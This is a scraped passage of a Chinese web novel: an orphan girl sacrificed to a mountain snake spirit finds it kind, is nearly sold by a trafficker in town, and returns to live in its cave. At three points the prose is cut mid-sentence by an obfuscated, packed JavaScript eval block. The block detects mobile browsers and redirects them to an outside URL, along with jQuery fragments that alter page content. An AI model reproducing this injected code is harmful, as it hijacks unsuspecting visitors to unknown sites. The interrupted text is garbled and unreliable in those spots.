《少女与蛇君的春秋冬夏》 1. 献祭 号角声亘古悠长,荡于延绵数千里的凌虚山脉,彷如山中缠绵的薄雾。 起轿了。 在全村人的注视中,载着献祭少女的队伍,浩浩荡荡地朝着大山深处走去。 这是一条由采石村开辟出的山路,蜿蜒于山中十数里,像是盘踞的长蛇。 阿草惊恐地攀住轿壁,小小的轿子左摇右荡,像是飘荡在海面上无根的芦苇舟,荡得她心都要碎了。 不知走了多久,她恐惧地掀帘看去,那座白山洞府就在眼前,越来越近。笔挺巍峨,峰头怪石嶙峋,俨然就是一条巨蛇的样貌。 巨蛇……阿草瑟瑟发抖。 她想起今日一早,几名村中妇人将她从茅屋中生拽出来,不由分说,将她推入冰凉的小溪清洗身体。粗糙的丝瓜瓤在她身上留下道道红印,清洗干净后,又给她套上一件古怪的衣裙。 长老爹爹拄着老树根做的拐杖,神情冷漠而肃穆:“阿草,村中养你这孤女十五年,是该你回报的时候了。为了稀有的绿玉髓,你就心甘情愿成为祭品,做那巨蛇妖的口粮吧!” 阿草至今都不敢相信,村里人赖以生存的绿玉髓,是靠献祭少女得来的。曾经她不懂,只是疑惑为何村中与她同龄的少女如此稀少,剩下一帮劣童顽男整日欺负她。 “山神庙就快到了,加快脚步!”祭司在前头呼喝。 阿草停止了思绪,用力揪住胸前衣襟,紧张得几乎无法呼吸。 泥土路一直延伸到白山洞府脚下,这里有座天然岩穴,深不见底,寒意幽邃,采石人便是从这里进入山脉内部寻找绿玉髓。 约莫三四年前,村里人为了祭祀所谓“山神”,便将就在岩穴豁口内搭起一座简陋的山神庙,塑起骇人的巨蛇泥塑进行供奉。而阿草将被留在庙里,直到三日后,才会有人来。 出发时还是正午,阳光烈得发白,可越是接近岩穴,天也愈加发沉。 风狂了,吹得队伍和小轿东倒西歪。 祭司在前面大喊:“山神快要现身了!不要停,把锣鼓都敲起来!” 霎时,锣鼓声配合着风声,越来越急、越来越猛,一声声都像敲打在阿草的心上。他们干脆一鼓作气抬着她奔跑起来,阿草在轿中疯狂尖叫捶打,可谁也听不到她的声音。 紧接着,一声惊雷划过,风中渐渐夹杂了雨点。像是早有准备一般,大家纷纷拿出斗笠蓑衣穿起来,只有藤轿中的阿草没有遮挡,被四处灌来的冷风冷雨浇得湿透。 他们冲进了岩穴之中,将藤轿规规矩矩地摆在正中央,随即点上蜡烛、摆上贡品,朝着面前狰狞的巨蛇泥塑,虔诚地拜了三拜。 阿草想趁机掀开轿帘逃出去。 “给我抓住她!”祭司的眼睛就没有离开过小轿,他走过来,大手狠狠给了阿草一巴掌,“听好了,雨不停,不许离开轿子!若你想死得痛快些,就给我老老实实地待在里面!我已将你的姓名告知山神,无论你逃去何处,山神都必将捉住你,将你撕碎!” 一道闪电点亮了山神的塑像,阿草的腿立马发软了。 那条比水桶还粗的巨蛇,张着血盆大口,两颗三尺长的獠牙,像两把利剑悬在她的头顶。 祭司粗暴地将她拽回轿内,又恶狠狠地再次警告,才带着所有人匆匆离开了岩穴。而阿草——她只是个不谙世事的少女,早就被祭司的话吓得瑟瑟发抖,她不敢动,只能祈求山神垂怜,能让她死得痛快些。 渐渐地,天暗了,岩穴外昏天黑地,什么也看不见了。 阿草早已浑身湿透,山中寒风烈烈,不断从洞穴外挤进来。她好冷,身上忽冷忽热异常难受,她想将自己蜷起来,却发现四肢酸软无力,像是发烧了。 “不行,我不能就这样等着被吃啊……还有机会,我还有机会逃出去!” 村里人早就离开了,巨蛇却没有出现,阿草怀疑究竟有没有这么一条巨型蛇妖。她想救自己,哪怕外面风雨雷电,哪怕机会渺茫,她也要努力给自己一条生路。 她用尽全身的力气扑倒在地,就这样艰难地摆动四肢,在凹凸不平的地面上缓慢爬行,狂风裹挟着大雨洒在她瘦弱的身体,她爬着爬着,却再也爬不动了。 “好难受……” 她感觉头疼欲裂,双眼也越来越看不清楚了,她就这样狼狈地瘫倒在雨里。 “谁来救救我……爹,娘!” 在彻底晕过去之前,阿草无可抑制地想到了爹和娘,想到他们或许是因为不得已的缘由,才将襁褓中的自己抛弃在深山之中。若不是村里的樵夫一时起了恻隐之心,她也无法靠着剩菜馊粥,勉强活到十五岁。 她这短暂的一生中,从未体会过真正的温情与关爱,如今生命已如风中之烛,她所能呼唤的,也唯有她从未见过的爹和娘。 岩穴外,雨渐渐小了,阿草再也没有力气,渐渐闭上双眼。 然而不知是不是错觉,就在她失去意识的一瞬间,她仿佛看见漆黑的洞外,出现了两盏绿荧荧的灯笼,它们诡异地游移盘旋,逐渐朝着她飘来…… 阿草朦胧地醒来,只感觉身体好凉,好舒服。 她在轻轻动了动身子,周身源源不断地沁入凉意,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587552|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是睡在了雪做的窝里。她的高烧竟然退去了,身体不再酸痛,脑袋不再发沉,阿草浑身都放松下来,长长地抒了口气。 迷迷糊糊中,她只感觉这雪窝好舒服。用手摸了摸,凉凉的、滑滑的,略微有些硌手。她在半梦半醒间喃喃呓语,翻了个身想要再睡去,哪知身下的雪窝,却缓缓卷动起来。 她有些慌,以为自己要掉进雪窟窿里去了,连忙用摆动手脚向上攀爬。哪知她越爬,这雪窝卷动得也就越快,朦胧中,她似乎听见一个轻轻的喃语: “好痒……不行,受不了啦。” “是谁?” 那声音温柔而动听,仿佛就在阿草的耳边,她轻轻蹙了蹙眉,终于撑开眼帘看去—— 庙内幽幽的烛火,映出一颗雪白锃亮的巨蛇头颅,平滑如山涧泉低的溪石,两侧镶着灯笼般的荧绿色眼睛。仔细看去,那双眼瞳仁悚然直竖,透出森森浸骨的寒意。 阿草这才恍然惊觉,身下哪里是雪窝,分明是这条大蛇的躯干啊! “啊啊啊啊!” 阿草放声尖叫,凄悚的声音在空洞的岩穴中回响,霎时被放大了无数倍。而大蛇亦被她所惊动,不得已将躯干从她身上抽离,阿草来不及反应,从半空中重重跌了下去。 “有蛇!真的有好大的一条蛇啊!” 阿草再也压抑不住,绝望地哇哇大哭。她以为下一刻大蛇便会张开血盆大口,一口将她囫囵吞下。可原地瘫软了许久,再忐忑地睁眼看去,那蛇早已蹿入幽深的洞穴,许久听不见声响。 她顾不得疼痛,飞快爬起身来,撒开双腿冲出了岩穴。 岩穴外,的天边已露出鱼肚白,被风雨洗刷过的山林悄然无声。她一口气冲进茂密的树林里,生怕大蛇会追上她,像祭司所说的那样,将她一口撕碎。 可林子实在太密了,她慌不择路,猛然被凸出的石头绊倒,狠狠跌了一跤,脚踝便扭伤了。阿草试了几次才勉强爬起来,脚踝痛得厉害,她只能一瘸一拐地躲进大树的树干后面。 山中万籁俱寂,阿草屏住呼吸等了许久,连一丝声音也没有。 她用力压住狂跳的心脏,疑惑地想着——那蛇,没有追来吗?它有那么大的躯干,若是追了来,肯定不会连一点声音也没有吧? 过了许久,她终于鼓起勇气,一点点探出头去—— 原来她跑了这么久,也才离岩穴不过半里,那条巨型白蛇竟然真的没有追来。漆黑的岩穴就像一张深渊大口,里面隐隐约约,似乎有两盏绿荧荧的灯笼。 原来那大蛇,也在偷偷地看她。 2. 迷路 横柯上蔽,分不清昼夜,云深茫茫,不知身在何处。 阿草不知跑了多久,只能绝望地承认,自己彻底迷路了。 她从小就生活在村子里,一个没人关心的孤女,哪敢独自闯进山中。采石村本就在大山深处,而这里又在深处的深处,阿草只觉得上下左右毫无分别,走到太阳都偏了西,也看不到一丝人烟。 回头望去,那座如巨蟒般的突兀山岩,却仿佛从未离得更远,依旧在云端之上、遥远地窥伺着她。 阿草实在走不动了,她饿得头昏眼花,软绵绵地坐了下来。 拉开裙摆一看,早晨扭伤的脚踝也肿得厉害,就连碰一碰也疼得她龇牙咧嘴。 眼见着夜晚又要来临了。一望无垠的大山腹地,内里不知潜藏着多少野兽,又有多少正同她一样饥肠辘辘,等待着饱餐一顿。 她趁着天还没黑,赶紧找了些野果野菜,就着山泉洗了洗,便迫不及待地塞进嘴里。每一样都如此新鲜可口,山莓甜而微酸,山梨清香发涩,桑葚越紫越甜,野菜有些微微发苦。 原来山中有这么多可以吃的东西,阿草第一次觉得,这令人胆寒的大山,也可以是座取之不尽用之不竭的宝库。 稍微填补空肠后,阿草刚一转头,正好瞥见不远处有棵参天古木,树干之下盘根错节,隆起的根正好是一处天然的庇护所。 阿草激动万分,趁西山之上还有些幽蓝天光,慌忙捡了些树枝作为遮挡。她瘦弱的身体,正好能从树根缝隙挤进去,只要尽全力蜷缩起来,便还能留出些许距离。 很快,那残存的白昼一角,也掩下了幕布,古木的树冠遮蔽了星光,她什么也看不见了。而山林中不明的鸟兽却分外活跃,令人胆寒的叫声此起彼伏。 她半卧在树根之下,忍着蛇虫鼠蚁从她身上踩过,逼迫自己入睡。 “快睡吧……睡着了,就不怕了……” 她不敢睁眼,不敢大口呼吸,只能用力抱紧自己的身体。 然而,随着夜越来越深,野兽们也越来越躁动,阿草根本睡不着,只听得外面草木哗声四起,却又清楚不是风声。 沉重的踩踏声从远处步步逼近,连她身下的泥土地,都仿佛在微微颤动。她屏气凝神,颤抖地从那树根的缝隙中看去,惊得捂住嘴巴连连后退。 似乎有东西发现了躲在树根下的阿草——从它咆哮的声音能听出,是一头成年棕熊。它在逼近阿草时,像人一般直立起庞大的身体,漆黑而笨重,显然是冲着她而来。 阿草急中生智,想起了村里的猎人说过的话:棕熊力大无比,一个巴掌就能拍死一个成年男性,若在山里遇到棕熊,千万不能跑,也不能妄想爬到树上躲避,最好是原地装死。 采石村在发现矿脉之前,原本是猎人的村落。阿草学着猎人说的,捂住口鼻,屏住呼吸,当自己死了。 然而事与愿违。 棕熊已经发现了树根下有猎物,它根本不愿放弃,用利爪抓挠、用身体撞击,那些用来遮挡的树枝早被它抓得七零八落,棕熊将手掌伸进树根缝隙里,利爪一挥,差点刮花阿草的脸。 阿草吓傻了,再也顾不得装死,只能大声求救:“有没有人……救救我,谁来救救我啊!” 然而这茫茫山野,哪里会有人?又有谁会在意她一个无家的孤女? 棕熊越是抓不到她,便越是急躁难耐,开始用那双盘口大的熊掌拍打树根,抓着用力摇晃。阿草收起了哭叫,转而用手去刨身后的泥土,想要挖出一条生路来。 可她很快便放弃了,这颗参天古木的根须,彻底变成了牢笼。 阿草浑身脱力,慢慢滑坐在地上,闭眼等待死亡的降临。 然而就在这一刻,棕熊突然停止了抓挠,仰起头不知在嗅着什么。阿草紧咬牙根,刚想趁此间隙逃出去,而其身未举,头顶那棵参天古木,却猛然发出一阵巨响。 不知有多大的力气,晃得树根也跟着颤动,根下的泥土扑簌簌地落在阿草身上。 随即,她听见一声尖锐的嘶鸣。 声音刺痛了阿草的耳膜,她从未听过这样的叫声,却从脚底蹿起一阵莫名的深寒。 惊惶之中再看那棕熊,它也开始惊恐地连连后撤,当阿草快要看不清它时,它突然放下前爪,转身掀着四条腿仓皇逃走了。 大树随之停止了晃动,山林也霎时寂静无声。棕熊逃走了,可阿草却不敢再睡了。她知道,一定有比它更加恐怖的东西就在附近,就盘踞在她头顶的参天榕树之上……阿草恐惧地抱着双膝,生生挨过了今夜。 当太阳又爬上东边的山脊时,阿草才小心翼翼地爬出了树根。 坚硬的树根已被棕熊抓得稀烂,木屑飞溅在各处,触目惊心;抬头望这棵千年老榕树,它依旧静静地矗立着,树冠撑开像一顶巨大华盖,绝不是风能撼动的。 阿草心有余悸,昨晚那只棕熊,究竟看见了什么? 在山泉边简单洗了把脸,清爽的山风拂过脸颊,阿草彻底清醒了—— 这样无头苍蝇似地跑下去,她永远也跑不出这座大山,总有一天会被山里野兽叼了去。跑也是死,不跑也是死,不如碰碰运气回去,也许能用山神庙里的祭品暂且填补空肠。 况且,她唯一能认清的路标,只有那座如巨蟒般的山岩。 采石村是不可能回去了,村里人若知道她逃跑,一定还会将她送回这里。阿草算着日子,等到了明天,村里的青壮才会进洞里寻找绿玉髓,她必须在那之前找一个安全的地方躲藏起来,等合适的时机,再徇着采石村开辟的山路出去便可。 下定了决心,阿草拖着受伤的脚踝,一瘸一拐地走了回去。 回去比她想象的还要快,她躲在树丛里观察了一会儿,确定洞里没有那两盏绿荧荧的灯笼,这才壮着胆子走进岩穴。 祭祀的蜡烛已经燃尽,阿草满怀希望地爬上供桌,才发现烤鸡已经不见了。桌上只有散落的水果和几块蒸馍,想来巨蛇不吃素,也就自然落入了她的腹中。 吃饱了饭,阿草仰望这座高高的山神府洞,发现它比自己想象的还要庞大。山岩裸露,只有几棵老松旁逸斜出,怪石嶙峋,也许上面会有天然的洞穴可以栖身。 凭她的细胳膊细腿是爬不上去了。好在她绕到背后,发现这里的坡度缓了许多,“巨蟒”就像是从山体里脱出来似的,她可以从这里爬到半空的洞穴里去,再找些食物和盛水的工具,便能在这里躲上一阵时日了。 说干就干,她找了一处合适的洞穴,用山中疯涨的野麦草铺床,等她拖着一捧麦草回来时,竟发现洞口堆着几根小臂粗的松树枝,那断口处还新鲜着,像是刚被折断特意摆在这里似的。 阿草狐疑地左看看、右看看,除了不远处的树丛有些奇怪的响动,附近什么也没有。 她有些摸不清头脑。 “是被风吹断的吧?”她抬头望了望,决定不再多想,“真是太好了,这树枝不大不小,正好可以拿来挡住洞口呢。” 这便是她的“门”了。 夜里,细密的松枝将洞口堵得严严实实,粗壮的树干卡进岩缝里,任凭猛兽也无法轻易折断;野草铺得厚实,睡在上面不会再被硌得疼了;洞穴不大,且在背风处,任风雨再大也吹不进来。 这天,阿草躺在洞里,总算睡了一个踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587553|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实觉,比她在采石村的十五年还要踏实。 她有时候也会想起那只可怕的巨型蛇妖,想起它就盘踞在这里,自己这么做,实在是冒了巨大的风险。可想到那日使她退烧的“雪窝”,和那句温柔的喃语,她又不敢确定,是不是自己的错觉。 那条巨蛇,真的这么可怕吗? 她一时分不清是蛇妖可怕,还是想要将她献祭的采石村更可怕。 岩洞解决了她暂时的栖身之所,“巨蟒”背后正好有天然山泉,水源也不用愁了,可食物却成了她最大的难题。 采石村的人每天都会来寻找绿玉髓,附近还有一条吃人的大蛇,她不敢在周围活动太久;那日迷路的经历,又让她无法走得太远,而且她手无缚鸡之力,又没有捕猎的经验,根本捉不到山里的小动物。 光靠野菜野果果腹,怎么行?没有盐也没有肉,她感觉自己越来越没有力气了。 终于有一天,她摸索着设下陷阱,好不容易等来了一只野兔,却眼睁睁看着兔子从她手里挣脱开去。阿草彻底绝望了,她拖着疲软的身体爬回山洞,只等待着死亡的降临。 原来光靠自己,根本活不下去啊…… 她蜷缩在已经干枯的野草堆上,泪水,又悄无声息地浸湿了脸颊。 然而就在第二天清晨,当她饥肠辘辘地爬出洞穴时,却发现下方突出的岩石上,躺着几只灰毛野兔。她惊喜地跳下去查看,发现每只兔子的身上,都有一个骇人的血洞。 像是被一颗长长的尖牙刺穿的。 “这是怎么回事?” 阿草惊讶地左顾右盼,她以为附近有猎人发现了她,特意打了这些野兔放在这里。可转念一想又不太可能,这里方圆百里除了采石村,根本没有别的村落。 就在她不解之时,她仿佛看见一颗巨大的白色脑袋,突然缩进了岩石后面。 “难道?” 她不敢相信自己的猜测,只能姑且当作是老天对她的垂怜,便找了一块趁手的尖石,在山泉旁将野兔剐了皮清洗干净。 血的腥气顺水留入山涧,山林中的野兽躁动不安,可没有一只敢接近这里。清理干净后,阿草又对生火犯了难,思来想去,才想村里的樵夫说过,若是他们在野外迷了路,便可以用两根木头钻木取火。 只能试一试了。 阿草将兔子藏好后,便钻进了林子里,好不容易找到合适的树枝回来,还没走近,竟发现岩石边已经燃起了一小堆篝火。 阿草惊讶极了,她这下万分确定,一定有东西在关注着她的一举一动。 她小心用枯树枝维持着这团火焰,直到太阳偏西,采石村的人赶着骡车离去,她才用树枝将兔肉穿起来,架在火堆上烤熟。 黄昏渐渐降临,烤兔肉的香味顺着袅袅烟气,弥漫在丛林的上空。 肉,真的太香了…… 烤过的兔肉,肉质开始紧缩,水份伴着少量的油质挤出来,外皮渐渐被熏烤成焦黄色,肉香混杂着炭火香,闻起来格外勾人馋虫。阿草的肠胃,早就开始辘辘作响,可她还是耐着性子等肉完全烤熟,才迫不及待地撕下一条来品尝。 兔肉有点柴,散发着淡淡腥味和炭火香,仅一口,阿草便由衷地觉得—— 活着,真好! 就在她细细品尝肉的美味时,一道巨大的黑影,悄无声息地铺在对面的岩壁上。 阿草也发现了那道黑影,她咽下一口兔肉,双手紧紧攥住还透出温热的树枝,就在黑影越来越大、越来越接近时,她突然转身举起兔肉,闭着眼说道: “山神大人!您喜欢烤熟的东西,这个给您吃,求求您不要吃我!” 3. 小镇 “嗯?” 面前,巨大的蛇脸上,露出疑惑的神情。它抬起细细的尾巴尖,莫名其妙地搔了搔光秃秃的头顶。 阿草见它没有动,更是确定了自己的想法,她闭着眼一口气说道: “我明白了,您肯定是喜欢吃烤兔子,所以才将野兔扔到我门外,还给我生了火,是不是?这些,您都可以吃,只要您不吃我!” 大蛇放下尾巴尖,吐出了人言:“本山神,不喜欢吃烤熟的东西,也不会吃你。” 阿草睁开双眼,不可思议地问道:“为什么?” 它不是要吃活人少女的巨型蛇妖吗? “你问为什么啊,嘶嘶……怎么说呢。”大蛇突然烦恼地扭来扭去,尾巴尖磨蹭着下巴,“该说你不好吃吧,又怕你很受伤……人类少女什么的,还没有老鼠肉好吃呢。” 大蛇砸吧砸吧嘴,阿草有些哭笑不得。 它清了清嗓子,缓缓垂下头来,绿色的双眸在火光的映照下,闪着柔和的光线:“总之,你还是快吃吧。小不点,我看你再这么下去,可是会饿死的哦。吃吧,吃饱了才有力气离开这里,去人类的地方生活吧。” 它的声音一点也尖细刺耳,反而像翩翩儒雅的少年,温柔而好听。 阿草终于确定,那句细细的喃语,就是从它嘴里说出来的。 阿草就在大蛇的注视下,低头开始嚼兔肉,她越吃越快、越吃越急,直到最后塞了满腮,却再也咽不下去了。 她抱着膝盖抽泣起来。 “怎么啦小不点?”大蛇试探地用尾巴尖,戳了戳她的肩膀。 “你刚才说,让我去人类的地方生活,可是我,已经没有家了……”阿草一遍遍抹着眼泪,哽咽地说道,“我只是一个女孩,被捡回采石村十五年,也没有一户人家肯收留我,他们说我是赔钱货,死了便死了……我也不知道父母是谁,世界这么大,却没有我的容身之所……” 大蛇见她哭得伤心欲绝,蛇嘴里溜出一声长长的叹息。 “好吧……你若不愿回采石村,我可以送你去别处,就在西南方向,有一座人类的小镇,那里应该有你的栖身之所。小不点,不要再哭了哦,眼睛,不是拿来放水的。” 大蛇的徐徐的劝慰,抚慰了阿草的心灵,她渐渐止住了哭声。 她还是有些想不明白:“你说,你从来不吃少女,那之前献祭的少女们,又去了哪里呢?” 自从发现岩穴中的绿玉髓、和守护玉髓的巨型白蛇后,采石村用少女献祭,已经过了去五六个年头。可是那些被献祭的少女,一个也没有回来。 也许她们也和阿草一样,害怕再被捉回来献祭给蛇妖,于是再也没有回去采石村。而献祭少女的仪式,也就这样一年年保留了下来。 “具体她们身在何处,本山神就不知道了。”大蛇说道,“我一路护佑她们,也护佑你,然而只有你一个,选择回到了这里。” 阿草这才明白,那晚吓退棕熊的,正是这只长相骇人的巨型蛇妖。也是它,偷偷躲在暗处,给她衔来合适的松树枝,抓来野兔,生起篝火。 她从来没有被这样照顾过,想到这些,她心里涌起一股暖流,像被太阳晒得温热的潮水。 “谢谢你,山神。” 尽管它鳞片冰冷,阿草还是大胆扑了上去,拥住它粗壮有力的躯干。 大蛇微微愣了愣,它缓缓垂下头去,下巴,便搁在了她的头顶:“一切都过去了,小不点……今晚你就好好休息吧,明日,我便送你去人类的小镇。” 有山神护佑,阿草的心终于安定下来。她没有回半山腰的岩洞,而是就着温暖的篝火,在泉水边睡着了。而大蛇则用身体包裹着她和篝火,脑袋搁在她身边,静静凝望着她…… 等她醒来时,篝火已经彻底熄灭了。 按照约定,大蛇要带着她,去山脚下一座人类的小镇。 大蛇让她骑在自己的身上,趁天光还没有大亮,山林小镇一切万物还在沉睡时,它驮着阿草翻山越岭,来到了小镇的边缘。 小镇还在沉睡着,阿草站在高高的山岗上,看着那些她从未见过的青瓦大宅、牌坊雕楼,还有宽阔的石板大街、鳞次栉比的房屋,感到无比震撼。 原来采石村外的世界,是这么辽阔。 “就送到这里吧。”大蛇说道,“再靠近一些,就会被人发现的。” 可阿草却打起了退堂鼓:“我去了,要怎么生活?我什么也不懂,什么也不会做,那里的人,会愿意收留我吗?” “可是你是属于人类世界的。小不点,总要迈出第一步不是么?” 在大蛇的鼓励下,阿草终于深呼吸一口气,怀着惴惴不安的心走下山坡。 直到双脚踩上平坦的大路,回头望去,大蛇已经不见了踪影。 面前,是一条笔直的官道,延伸至高高的城门下。天已经大亮,路上渐渐汇聚了行人,担担的小贩,赶驴的樵夫,还有行色匆匆的路人,阿草奇特的装束,吸引路人频频向她张望。 走进城门,踩上宽阔的石板路,阿草迷茫了。 无数形形色色的人从她身边走过,男女老幼,纷纷投来异样的目光,让她无法鼓起勇气请求一个容身之所;包子铺热腾腾的蒸汽、馄饨店飘香的汤锅,每一样都勾得她走不动路,可她却囊中羞涩,浑身上下一个子儿也没有。 这里不像山中,野菜野果取之不尽,人类的世界,每一样都是要钱的。 在小镇的第一天,她靠着井水支撑了下来,躲在摊贩搭的破草棚里睡了一夜。 第二天,她实在饥饿难耐,鼓起勇气向摊主要一个包子,被摊主恶狠狠地骂开去;想要去客栈找个打杂的活计,掌柜的却嫌她瘦弱,不肯要她;就连她看见有人丢了荷包,追上去归还,都被夫人小姐嫌弃她脏臭。 是的,自从被送去山里献祭之后,她很久没有洗澡了。 像她这样的山女,被突然丢进这光鲜亮丽的城市中央,就像突然将鱼儿丢进沙漠。 这一天,她是靠着捡别人吃剩的食物,才勉强活下来的。 直到第三天,终于有人主动向她搭话。 那是一位穿着丝质长裙的妇人,头上插着鲜花,看起来风韵犹存。她看见阿草失魂落魄地坐在街角,便停下脚步,主动朝她走去: “姑娘,你是一个人?” 妇人左右望了望。 阿草勉强点了点头。 “你的家人呢?你是从山里来的吧?来省亲的?” 妇人继续追问。 阿草诚实地说道:“我没有亲人了,求求您行行好,我什么都可以做,只要让我有口饭吃就行!” 妇人眯起双眼,露出一个和煦的笑容:“哎呀,你一个小姑娘要在这里讨口饭吃,可太不容易了。这样,跟大姨走,大姨有地方适合你,保你能吃饱饭!” “太好了……谢谢您!您真是救苦救难的活菩萨!” 阿草的双眼瞬间点亮了,她努力站起身子,跟着热情的妇人朝巷内走去。 阿草哪里知道,在这样的地方,有一种人叫作“人牙”,她们专门搜寻长相尚可的少女卖给秦楼楚馆,有些家中活不下去的,也会主动把女儿卖给她们。 阿草不傻,当她被怂恿着走进这座红门小院,看着院中女子打扮得格外妖艳,唱曲儿卖笑供男子取乐时,她便感觉隐隐有些不安。她想要逃,可那妇人死死拽住她的手,威胁道:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587554|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你要是进了这个地儿,就别想出去!只要你乖乖听话,保你吃香的喝辣的!” 妇人的力气仿佛有千钧,那双手就像螃蟹的钳子,任凭阿草怎么挣扎也摆脱不掉。 “哎哟!”突然,妇人一吃痛,随即甩开了阿草的手臂,“什么东西咬了我一口!哎呀,有蛇!有蛇……” 妇人捧着手高声尖叫,见一条细细的小白蛇缩回脑袋,钻进了阿草的口袋里。阿草则趁这个空隙,拔腿闭眼冲出了院门。 黄昏已至,阿草拖着疲惫的身体,像个无家可归的乞儿,游荡到人烟稀落的市集。货郎商贩们已经收拾残货,陆陆续续地回家了,阿草实在饿极了,发现地上有些无人要的菜叶烂番薯,便捡起来塞进嘴里。 “好苦……” 蔬菜早已不新鲜,根本尝不到本来的鲜甜味,留下的只有苦涩。 好在她早就习惯了,在采石村生活的十五年,她也很少能吃到新鲜的东西,这份苦涩,就像从她自己身体里渗出的,嚼着嚼着,她的双眼又模糊了。 她想到了那天在山中吃到的野果,山莓、桑葚、山樱桃,满树满树都是的,除了鸟儿偶尔琢食,只能自开自落。还有野菜、野稻、野麦子,只要她有心留下种子,等来年夏天,又会收获更多的粮食。她还能学着打猎,圈养野兔和野鸭,甚至还有山猪和羊,又何愁吃不饱饭呢? 她不想再留在这儿了,远望群山万壑,身体里的血脉,仿佛在呼唤着她。 阿草站起身来,她要回去。 她自己有手有脚,可以创造更美好的生活。等她有了蔬果粮食,再来这里换些银子和生活必需品,也不必像这般狼狈了。 迈着坚定的步伐,阿草离开了这座小镇,重新走回那条笔直的官道。爬上陡峭的山坡,面前,又是一望无垠的密林。 阿草有些退缩了。 先前被棕熊袭击的经历又浮上眼前,阿草试了几次都迈不动步伐。 就在她犹豫之际,一条小白蛇偷偷地探出脑袋,从她腿边溜了下去,滋溜一游便消失在了草丛里。紧接着,阿草便看见一颗圆溜溜的大蛇脑袋,从大树的树干后缓缓探了出来。 “山神?”阿草惊讶了一瞬,不等大蛇开口,她突然扑上去,紧紧拥住它的身体,“山神,您在等我?对不起,我很没用,可山神大人,我不想走,求您让我留下吧……” 她将脸颊紧紧贴着它冰凉的鳞片磨蹭,她从未体验过,有人等待的感觉。 当她看见大蛇的那一刻,心中最后一分忐忑与不安,顷刻间消逝冰融,化作温热的泪水,缓缓滑过大蛇的鳞片。 “我明白了,小不点……”大蛇似乎叹了口气,它微微垂下脑袋,像之前一样轻轻放在她的头顶,“你若还没准备好,我就先带你回去吧。不要哭了哦,再哭我吃了你嗷。” “嗯!”阿草用力点点头,抹去脸上的泪水。 等她平复下来后,大蛇微微扫过长尾,让她骑在自己身上。 夜晚的大山,起初万籁俱静无声,当一轮清亮的圆月升上西天,万物便苏醒了。阿草骑在大蛇的背上,飞速掠过山岗与小溪、穿过森林与芳草地,清风拂过她的身体与发梢,流萤汇成风的轨迹,伸手便可触碰…… 此时此刻,阿草的心也越发轻盈,仿佛鱼儿入水鸟儿归林,有大蛇在自己身边,她便感到无所畏惧,胸中溢满了对未来的憧憬。 他们又回到了紫府峰下,这一次,大蛇驮着她从后山攀援,来到了那座“巨蟒岩”的山顶。这里有一片平坦的芳草地,山泉在此发源,潺潺流水落入山涧。 阿草惊异地望去—— 尽头,山岩掀开一张大嘴,便是传说中的山神府洞。 4. 山的心脉 “这里,就是你住的地方吗?”阿草深呼吸一口气,感觉风都是甜的,“好美啊!” 大蛇悠悠地游动着,将阿草带进它的洞府。 天然的岩穴,比外面还要冷一些,高高低低的岩石错落有致,将岩洞分割成几个部分,像是阿草在小镇里看到的富人宅院,统共有四五进之多。 大蛇衔了些枯树枝来,一张嘴,口中的火焰便点燃了柴堆。 洞内瞬间便被点亮了,橘黄色的篝火,温暖了阿草的身体,她迫不及待地拥着篝火坐下来。大蛇打了个旋,用巨大的躯干将她和篝火都拥在其中,鳞片反射着火光,流光溢彩,洞外的风也吹不进来了。 阿草稍微一转头,便能看见它那双荧绿的大眼睛:“山神……谢谢你。” 大蛇轻轻地回答:“你已经说了很多次了,小不点。这里是我的洞府,你要愿意,就暂且住下来吧。” “嗯!”阿草重重地点头,拍着胸脯说,“你放心,我能自己照顾自己,绝不会给你添麻烦的!” 大蛇没有动,细细的尾巴尖却偷偷伸过来,宽慰似地拍了拍阿草的背。 “其实……我不是山神,只是生于斯长于斯的一条白蛇,修行一千年,才渐渐有了道行。” “一千年?”阿草震惊了,“那你不是比长老爹爹还要老许多……对不起,我该叫你山神爷爷的!” 采石村的长老爹爹,是阿草见过最长寿的人,他足足有六十岁,皮肤像是老树皮,胡子就像老树的根须,他整个人就像一截老松。 “噗……”大蛇仿佛中了一箭似的,抬起脑袋咳嗽起来,“咳、咳……你这个小不点,实在太冒犯了,本山神已修炼成妖,寿命怎可与区区凡人相比?若以人类寿命而言……嗯,也就比你大上几岁罢了。” “大上几岁是几岁……”阿草低头嘟囔,“你不是说你不是山神吗?” “咳、咳……总之,你的确不必叫我山神,我留踞在此地,不过是为了回报养育我的大山,守护山的心脉罢了。” “山的心脉?”阿草不太明白。 